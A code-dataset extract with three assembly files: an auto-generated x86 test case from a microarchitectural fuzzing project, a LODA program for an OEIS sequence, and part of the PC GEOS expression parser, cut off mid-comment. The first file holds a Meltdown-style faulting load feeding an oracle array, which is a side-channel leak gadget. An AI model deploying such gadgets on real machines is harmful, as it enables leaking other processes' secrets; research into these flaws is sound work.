hexsha
stringlengths 40
40
| size
int64 6
1.05M
| ext
stringclasses 3
values | lang
stringclasses 1
value | max_stars_repo_path
stringlengths 4
232
| max_stars_repo_name
stringlengths 7
106
| max_stars_repo_head_hexsha
stringlengths 40
40
| max_stars_repo_licenses
listlengths 1
7
| max_stars_count
int64 1
33.5k
⌀ | max_stars_repo_stars_event_min_datetime
stringlengths 24
24
⌀ | max_stars_repo_stars_event_max_datetime
stringlengths 24
24
⌀ | max_issues_repo_path
stringlengths 4
232
| max_issues_repo_name
stringlengths 7
106
| max_issues_repo_head_hexsha
stringlengths 40
40
| max_issues_repo_licenses
listlengths 1
7
| max_issues_count
int64 1
37.5k
⌀ | max_issues_repo_issues_event_min_datetime
stringlengths 24
24
⌀ | max_issues_repo_issues_event_max_datetime
stringlengths 24
24
⌀ | max_forks_repo_path
stringlengths 4
232
| max_forks_repo_name
stringlengths 7
106
| max_forks_repo_head_hexsha
stringlengths 40
40
| max_forks_repo_licenses
listlengths 1
7
| max_forks_count
int64 1
12.6k
⌀ | max_forks_repo_forks_event_min_datetime
stringlengths 24
24
⌀ | max_forks_repo_forks_event_max_datetime
stringlengths 24
24
⌀ | content
stringlengths 6
1.05M
| avg_line_length
float64 1.16
19.7k
| max_line_length
int64 2
938k
| alphanum_fraction
float64 0
1
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
58e661ac65288d014158f24089d94f3a34546ec5
| 2,424
|
asm
|
Assembly
|
Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_120_3072.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_120_3072.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_120_3072.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xd963, %rsi
lea addresses_WC_ht+0x41a9, %rdi
nop
nop
nop
and %rbp, %rbp
mov $64, %rcx
rep movsb
nop
nop
nop
nop
xor %r12, %r12
lea addresses_WT_ht+0x14aa9, %r14
nop
cmp $18481, %r8
mov (%r14), %r12w
and %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r9
push %rax
push %rbp
push %rdx
push %rsi
// Store
lea addresses_A+0xb6b5, %rsi
nop
nop
nop
nop
and %r9, %r9
movl $0x51525354, (%rsi)
nop
nop
nop
nop
nop
sub $54685, %rsi
// Load
lea addresses_WT+0x1e837, %r12
nop
nop
nop
nop
nop
xor %rdx, %rdx
movb (%r12), %al
nop
nop
cmp $48175, %rdx
// Load
lea addresses_PSE+0x109a9, %rbp
nop
nop
add %r9, %r9
mov (%rbp), %r12
nop
nop
nop
nop
and %rbp, %rbp
// Faulty Load
lea addresses_US+0x165a9, %rsi
nop
nop
and $10128, %rdx
mov (%rsi), %r9d
lea oracles, %rbp
and $0xff, %r9
shlq $12, %r9
mov (%rbp,%r9,1), %r9
pop %rsi
pop %rdx
pop %rbp
pop %rax
pop %r9
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_US', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 4, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_PSE', 'same': False, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_US', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'same': True, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 120}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 20.033058
| 359
| 0.643564
|
81e4ff2e24ff441bfa6bde0322cbc726932479aa
| 560
|
asm
|
Assembly
|
oeis/128/A128815.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/128/A128815.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/128/A128815.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A128815: Numbers n such that n-th and (n+2)th triangular numbers sum up to a prime.
; Submitted by Christian Krause
; 1,2,4,5,7,11,13,14,16,19,20,23,26,32,37,40,49,53,56,58,61,65,68,70,74,76,77,79,88,89,98,100,104,109,110,116,118,130,137,140,142,146,149,152,154,160,161,163,166,167,172,175,187,188,191,193,202,205,208,214,217,230,235,244,245,265,271,277,278,286,287,289,292,308,313,328,331,335,341,343,347,350,356,368,377,380,382,391,394,397,401,403,404,413,415,425,433,434,446,452
add $0,1
seq $0,55494 ; Numbers k such that k^2 - k + 1 is prime.
sub $0,2
| 70
| 365
| 0.7125
|
d2e4b04934d52d9cf582a3d44f09bbde8ba95400
| 35,652
|
asm
|
Assembly
|
Library/Parse/parseParse.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Library/Parse/parseParse.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Library/Parse/parseParse.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: parseParse.asm
AUTHOR: John Wedgwood, Jan 16, 1991
ROUTINES:
Name Description
---- -----------
ParserParseString Parse a string
REVISION HISTORY:
Name Date Description
---- ---- -----------
John 1/16/91 Initial revision
DESCRIPTION:
Parsing routines.
$Id: parseParse.asm,v 1.1 97/04/05 01:27:20 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ParserCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ParserParseString
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Parse a string.
CALLED BY: Global
PASS: ds:si = Pointer to text to scan
es:di = Buffer to put parsed data in
ss:bp = Pointer to ParserParameters structure on the stack
RETURN: carry set on error
al = Error code (ParserScannerEvaluatorError)
cx,dx = Range of text where the error was encountered
es:di = Pointer past the last token written
DESTROYED: ah
PSEUDO CODE/STRATEGY:
The parser is too complicated to document completely here.
The README, GRAMMAR, and THOUGHTS files contains a description of
the language, tokens, errors, etc.
The parser is a recursive descent parser. Each node corresponds
to an item in the GRAMMAR file.
The functions for each node should make pretty good sense
individually. You will want the complete language definition
to get the overall view though.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/16/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ParserParseString proc far
uses bx, si, bp
.enter
if FULL_EXECUTE_IN_PLACE
;
; Make sure the fptr passed in is valid
;
EC < pushdw bxsi >
EC < movdw bxsi, ss:[bp].EP_common.CP_callback >
EC < call ECAssertValidFarPointerXIP >
EC < popdw bxsi >
endif
EC < call ECCheckPointer >
EC < call ECCheckPointerESDI >
EC < call ECCheckParserParameters >
mov dx, di ; Save ptr to start of tokens
call ScannerInit ; Init the scanner
jc quit ; Quit if error
call ParseFullExpression ; Do the parsing
jc quit ; Quit if error
;
; If we get here we should be staring at the end of the
; expression. If we grab the next token and it's not the end of
; the text, we flag an error (bad expression).
;
call ScannerGetNextToken ; Grab next token
jc quit ; Quit on error
cmp ss:[bp].PP_currentToken.ST_type,
SCANNER_TOKEN_END_OF_EXPRESSION
jne errorBadExpr ; Branch on error
call WriteEndOfExpression ; Write the EOE marker
jc quit ; Quit if error
;
; Since we know it parsed, we now want to resolve all the name
; references.
;
call CountNameReferences ; cx <- # of name references
jcxz noNames ; jump if no name references
call CheckNameSpace ; Make sure there's space
jc quit ; Branch on error
noNames:
;
; Now turn the names into something meaningful.
;
call ResolveNameReferences
;;; Carry is set correctly here
quit:
mov al, ss:[bp].PP_error ; al <- error code
mov cx, ss:[bp].PP_tokenStart ; cx <- start of token
mov dx, ss:[bp].PP_tokenEnd ; dx <- end of token
DBCS < pushf >
DBCS < shr cx, 1 ; char offset -> byte offset>
DBCS < shr dx, 1 ; char offset -> byte offset>
DBCS < popf >
.leave
ret
errorBadExpr:
mov al, PSEE_EXPECTED_END_OF_EXPRESSION
call ParserReportError
jmp quit
ParserParseString endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ParseFullExpression
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Parse an expression (as defined by our language)
CALLED BY: ParserParseString, ParseFullExpression (recursively),
ParseMoreExpression, ParseArgList
PASS: ds:si = Pointer to the text to parse
ss:bp = Pointer to ParserParameters
es:di = Pointer to place to put parser tokens
RETURN: ds:si = Pointer past parsed text
es:di = Pointer past inserted parser tokens
carry set on error.
PP_error holds the error code
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
t = GetNextToken()
if (t == OPEN_PAREN) then
Parse( fullExpr )
t = GetNextToken()
if (t != CLOSE_PAREN) then
error()
endif
Parse( moreExpr )
else if (t == '-') then
Parse( fullExpr )
else if (t == IDENTIFIER) then
l = LookAhead()
if (l == OPEN_PAREN) then
Parse( function )
else
Parse( moreExpr )
endif
else if (isExprStarter( t )) then
Parse( moreExpr )
endif
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/21/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ParseFullExpression proc near
call ScannerGetNextToken ; Grab next token
jc quit ; Quit if error
cmp ss:[bp].PP_currentToken.ST_type, SCANNER_TOKEN_OPEN_PAREN
jne checkNegation
;
; Token is an open paren. That means it contains an expression.
;
call WriteSingleToken ; Write an open paren
jc quit ; Quit if error
call ParseFullExpression ; Parse it recursively
jc quit ; Quit if error
call ScannerGetNextToken ; Grab next token
jc quit ; Quit if error
;
; The next token MUST be a close-paren to finish off the
; parenthesized expression.
;
cmp ss:[bp].PP_currentToken.ST_type, SCANNER_TOKEN_CLOSE_PAREN
jne missingCloseParen
call WriteSingleToken ; Write a close paren
jmp parseMoreIfNoError ; Branch to parse more
checkNegation:
;
; Check for an expression led by a "-"
;
cmp ss:[bp].PP_currentToken.ST_type, SCANNER_TOKEN_OPERATOR
jne checkFunction
cmp ss:[bp].PP_currentToken.ST_data.STD_operator.STOD_operatorID,
OP_SUBTRACTION_NEGATION
jne errorBadExpression ; If operator, must be "-"
;
; Found an operator that is "-", parse a full expression after it
;
call WriteNegationOp ; Write a negation operator
jc quit ; Quit if error
call ParseFullExpression ; Parse recursively
jmp quit ; Quit, error code set correctly
checkFunction:
;
; Check for an expression led off by a function invocation
;
cmp ss:[bp].PP_currentToken.ST_type, SCANNER_TOKEN_IDENTIFIER
jne checkSingle
;
; It may be a function call, check for an open-paren following the
; identifier.
;
call ScannerLookAheadToken ; Grab the lookahead token
jc quit ; Quit on error
cmp ss:[bp].PP_lookAheadToken.ST_type, SCANNER_TOKEN_OPEN_PAREN
jne checkSingle ; Branch if not function invocation
call WriteFunctionCall ; Write out a function invocation
jc quit ; Quit on error
call ParseFunctionArgs ; Parse the function call
jmp parseMoreIfNoError ; Parse the rest of the expr
checkSingle:
;
; Check for a single item leading the expression
;
call IsExprStartToken
jnc errorBadExpression ; Branch if error
;
; Is the start of an expression, fall thru to parse more expression
;
call WriteSingleToken ; Write the current token
;;; Carry set if error. Fall thru
parseMoreIfNoError:
;
; Carry set if error
;
jc quit ; Quit if error
call ParseMoreExpression
;;; Carry is set correctly for returning here
quit:
ret
;------------------------------------------------------------
missingCloseParen:
;
; Error, close-paren missing from parenthesized expression
;
mov al, PSEE_MISSING_CLOSE_PAREN
call ParserReportError
jmp quit
errorBadExpression:
;
; Error, the expression starts with something meaningless
;
mov al, PSEE_BAD_EXPRESSION
call ParserReportError
jmp quit
ParseFullExpression endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ParseMoreExpression
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Parse more of an expression. Assumes that we have encountered
the first part of an expression already.
CALLED BY: ParseMoreExpression(recursively), ParseFullExpression,
ParseArgList
PASS: ds:si = Pointer to text to parse
ss:bp = Pointer to ParserParameters
es:di = Pointer to place to put parser tokens
RETURN: ds:si = Pointer past parsed text
es:di = Pointer past inserted parser tokens
carry set on error.
PP_error holds the error code
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
l = LookAhead()
if (l == OPERATOR) then
t = GetNextToken() /* grab the token */
if (t.opType == '+', '*', '/', '^') then
/* Normal binary operator */
Parse( fullExpr )
else if (t.opType == '%') then
l = LookAhead()
if (isExprStarter( l )) then
/* current operator must be a binary operator */
Parse( fullExpr )
else
/* current operator must be a left unary operator */
Parse( moreExpr )
endif
endif
endif
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/21/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ParseMoreExpression proc near
;
; Check for the "rest" of an expression
;
call ScannerLookAheadToken
jc quit ; Quit if error
;
; If there is no operator, then there can't be more expression.
; This isn't an error. Just a reason to stop.
;
cmp ss:[bp].PP_lookAheadToken.ST_type, SCANNER_TOKEN_OPERATOR
jne quitNoError
;
; OK. We know it's an operator. Scarf it up and see what we want
; to do about it.
;
call ScannerGetNextToken
jc quit ; Quit if error
;
; Assume it's a binary operator (since there are more of these).
; This means we only need to check for the PERCENT_MODULO operator
; since it is the only left-associative unary operator.
;
cmp ss:[bp].PP_currentToken.ST_data.STD_operator.STOD_operatorID,
OP_PERCENT_MODULO
jne parseBinary
;
; The operator is either a percent or a modulo. We need to look
; ahead and see if what ever is after us is more expression.
; If it is, then we are looking at a binary operator (modulo).
;
call ScannerLookAheadToken
jc quit ; Quit if error
call IsExprStartLookAhead ; Check for more expression
jc parseBinary ; Branch if more expression
;
; Looks like a unary operator to me... Write it out.
; Then parse whatever follows... It must be more expression.
; Otherwise we would have branched.
;
call WritePercentOp ; Write out the operator
jc quit ; Quit if error
call ParseMoreExpression ; Parse more of it
jmp quit ; Quit (carry already set)
parseBinary:
;
; We have a binary operator, write it out.
;
call WriteBinaryOp ; Write operator
jc quit ; Quit if error
call ParseFullExpression ; Parse the rest.
;;; Carry is set correctly by ParseFullExpression()
quit:
ret
quitNoError:
clc ; Signal: no error
jmp quit
ParseMoreExpression endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ParseFunctionArgs
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Parse a function call. Assumes that the function name has
been encountered and we are about to grab the open-paren.
CALLED BY: ParseFullExpression
PASS: ds:si = Pointer to text to parse
ss:bp = Pointer to ParserParameters
es:di = Pointer to place to put parser tokens
RETURN: ds:si = Pointer past parsed text
es:di = Pointer past inserted parser tokens
carry set on error.
PP_error holds the error code
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
t = GetNextToken()
if (t != OPEN_PAREN) then
error()
endif
l = LookAhead()
if (l != CLOSE_PAREN) then
Parse( argList )
endif
t = GetNextToken()
if (t != CLOSE_PAREN) then
error()
endif
WriteOutput( EVAL )
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/21/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ParseFunctionArgs proc near
call ScannerGetNextToken ; Grab next token
jc quit ; Quit on error
cmp ss:[bp].PP_currentToken.ST_type, SCANNER_TOKEN_OPEN_PAREN
jne expectedOpenParen ; Error if next isn't "("
call ScannerLookAheadToken
jc quit ; Quit on error
;
; Check for a close-paren (no arguments).
;
cmp ss:[bp].PP_lookAheadToken.ST_type, SCANNER_TOKEN_CLOSE_PAREN
je closeFunc ; Branch if ")"
;
; No close paren, Parse the arg-list
;
call ParseArgList
jc quit ; Quit on error
closeFunc:
;
; Discard the close-paren.
;
call ScannerGetNextToken
jc quit ; Quit on error
cmp ss:[bp].PP_currentToken.ST_type, SCANNER_TOKEN_CLOSE_PAREN
jne expectedCloseParen ; Branch if not close-paren
;
; was a close-paren. Mark that the function call was o'tay.
;
call WriteCloseFunction ; Note that the function closed
;;; Carry set correctly for return
quit:
ret
expectedOpenParen:
;
; No open-paren was found
;
push ax
mov al, PSEE_EXPECTED_OPEN_PAREN
call ParserReportError
pop ax
jmp quit
expectedCloseParen:
;
; No close-paren was found
;
push ax
mov al, PSEE_EXPECTED_CLOSE_PAREN
call ParserReportError
pop ax
jmp quit
ParseFunctionArgs endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ParseArgList
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Parse an argument list. Assumes we are at the beginning.
(ie: right after the open-paren of the function call).
CALLED BY: ParseFunctionArgs
PASS: ds:si = Pointer to text to parse
ss:bp = Pointer to ParserParameters
es:di = Pointer to place to put parser tokens
RETURN: ds:si = Pointer past parsed text
es:di = Pointer past inserted parser tokens
carry set on error
PP_error holds the error code
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Parse(fullExpression)
Parse( moreArgs )
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/21/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ParseArgList proc near
call ParseFullExpression ; Parse the whole thing
jc quit ; Carry set if error
call WriteArgEnd ; Signal done with this arg
jc quit ; Quit if error
call ParseMoreArgs ; Parse more args.
;;; Carry is set correctly here by ParseMoreArgs()
quit:
ret
ParseArgList endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ParseMoreArgs
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Parse more of an argument list. Assumes that the start of
arg-list has been found.
CALLED BY: ParseArgList
PASS: ds:si = Pointer to text to parse
ss:bp = Pointer to ParserParameters
es:di = Pointer to place to put parser tokens
RETURN: ds:si = Pointer past parsed text
es:di = Pointer past inserted parser tokens
carry set on error
PP_error holds the error code
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
l = LookAhead()
if (l == ARGUMENT_SEPARATOR) then
GetNextToken();
Parse( argList );
endif
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/21/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ParseMoreArgs proc near
;
; Check the next token (which should be the argument separator).
;
call ScannerLookAheadToken
jc quit
;
; If there is a list-separator, we're in business. We can call
; back to parse more arguments. Otherwise we can just return.
;
;
cmp ss:[bp].PP_lookAheadToken.ST_type, SCANNER_TOKEN_LIST_SEPARATOR
jne quitNoError ; Quit if no separator
call ScannerGetNextToken ; Discard separator
jc quit
call ParseArgList ; Parse more arguments
;;; carry set correctly here by ParseArgList()
quit:
ret
quitNoError:
clc ; Signal: no error
jmp quit
ParseMoreArgs endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IsExprStartToken
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check to see if the current token could be the start
or more of an expression
CALLED BY: ParseFullExpression, ParseArgList
PASS: ss:bp = Pointer to ParserParameters (PP_currentToken)
RETURN: carry set if the token is more expression
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
The current token type must be one of:
Function name
Constant
String Constant
Cell Reference
Right associated unary operator
This function basically asks the question "Does the current
expression stop here, or does it continue?".
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/21/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IsExprStartToken proc near
uses di
.enter
mov di, offset PP_currentToken
call IsExprStart
.leave
ret
IsExprStartToken endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IsExprStartLookAhead
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check to see if the look-ahead token could be the start
of an expression.
CALLED BY: ParseMoreExpression
PASS: ss:bp = Pointer to ParserParameters (PP_lookAheadToken)
RETURN: carry set if the token is more expression
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/22/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IsExprStartLookAhead proc near
uses di
.enter
mov di, offset PP_lookAheadToken
call IsExprStart ; Check other types
.leave
ret
IsExprStartLookAhead endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
IsExprStart
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check a token to see if could be the start of an expression
CALLED BY: IsExprStartLookAhead, IsExprStartToken
PASS: ss:bp.di = Pointer to the token to check
RETURN: carry set if the token is more expression
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
A "-" isn't considered to be the start of an expression. This
isn't really true, but it makes other code simpler.
We only get here from two places. One is ParseFullExpression.
In that case we have already checked for the existence of a
"-".
The other case is from ParseMoreExpression. In that case we
don't want to allow the "-" to be considered the start of an
expression anyway.
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/22/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
IsExprStart proc near
uses ax
.enter
mov al, ss:[bp][di].ST_type
cmp al, SCANNER_TOKEN_NUMBER
je moreExpr
cmp al, SCANNER_TOKEN_STRING
je moreExpr
cmp al, SCANNER_TOKEN_CELL
je moreExpr
cmp al, SCANNER_TOKEN_IDENTIFIER
je moreExpr
cmp al, SCANNER_TOKEN_OPEN_PAREN
jne noMoreExpr
moreExpr:
stc ; Signal: More expression
done:
.leave
ret
noMoreExpr:
clc ; Signal: No more expression
jmp done
IsExprStart endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ParserReportError
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Signal a parser error
CALLED BY: Utility
PASS: al = Error code (ParserScannerEvaluatorError)
RETURN: carry set always
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 1/22/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ParserReportError proc near
mov ss:[bp].PP_error, al
stc
ret
ParserReportError endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CountNameReferences
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Count the number of references to new names
CALLED BY: ParserParseString
PASS: es:dx = Pointer to a stream of tokens
ss:bp = Pointer to ParserParameters
RETURN: cx = # of references to new names
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
This code doesn't entirely work. It doesn't know if a name has been
referenced more than once. This means that the count returned may
be too high. This is ok (I guess) since it means that we will definitely
make sure to have enough name space. The problem is that a user might
hit the limit earlier than they might expect. I doubt it will be a
serious problem.
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 5/20/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CountNameReferences proc near
uses di
.enter
clr cx ; No new names yet
mov di, offset cs:CountNamesCallback
call ProcessTokenStream ; Process the list of tokens
;
; cx = # of new names
;
.leave
ret
CountNameReferences endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CountNamesCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check for an undefined name.
CALLED BY: ProcessTokenStream
PASS: ss:bp = Pointer to ParserParameters
ds:si = Pointer to token data
al = Token type
cx = # of new names found so far
RETURN: cx incremented if this name is also a new one
carry clear always
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
